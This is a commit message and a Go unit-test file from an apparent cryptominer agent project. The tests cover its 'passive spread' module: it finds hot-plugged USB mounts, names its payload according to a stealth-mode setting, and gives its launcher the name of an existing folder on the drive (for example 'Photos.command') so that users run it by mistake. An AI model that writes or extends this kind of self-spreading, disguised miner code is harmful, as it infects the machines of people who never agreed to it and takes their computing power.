Improve portable launch, forge persistence, and operator auth UX.

Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.

agent/deploy/passive_spread_unix_test.go

@@ -0,0 +1,57 @@
+//go:build !windows
+
+package deploy
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestParseLsblkMounts(t *testing.T) {
+	const sample = `{
+  "blockdevices": [
+    {"mountpoint": "/", "hotplug": false},
+    {"mountpoint": "/media/usb", "hotplug": "1"},
+    {"mountpoint": null, "hotplug": true},
+    {"mountpoint": "/mnt/sdcard", "hotplug": true}
+  ]
+}`
+	got := parseLsblkMounts(sample)
+	want := []string{"/media/usb", "/mnt/sdcard"}
+	if len(got) != len(want) {
+		t.Fatalf("len %d != %d (%v)", len(got), len(want), got)
+	}
+	for i := range want {
+		if got[i] != want[i] {
+			t.Fatalf("[%d] got %q want %q", i, got[i], want[i])
+		}
+	}
+}
+
+func TestUnixPayloadNameNonStealth(t *testing.T) {
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+		WorkerName:  "node worker",
+		StealthMode: false,
+	}}
+	if got := unixPayloadName(cfg); got != "node-worker" {
+		t.Fatalf("got %q", got)
+	}
+}
+
+func TestPickUnixLauncher(t *testing.T) {
+	root := t.TempDir()
+	if err := os.Mkdir(filepath.Join(root, "Photos"), 0755); err != nil {
+		t.Fatal(err)
+	}
+	if got := pickUnixLauncher(root); got != "Photos.command" {
+		t.Fatalf("got %q", got)
+	}
+
+	empty := t.TempDir()
+	if got := pickUnixLauncher(empty); got != "Start.command" {
+		t.Fatalf("empty mount: got %q", got)
+	}
+}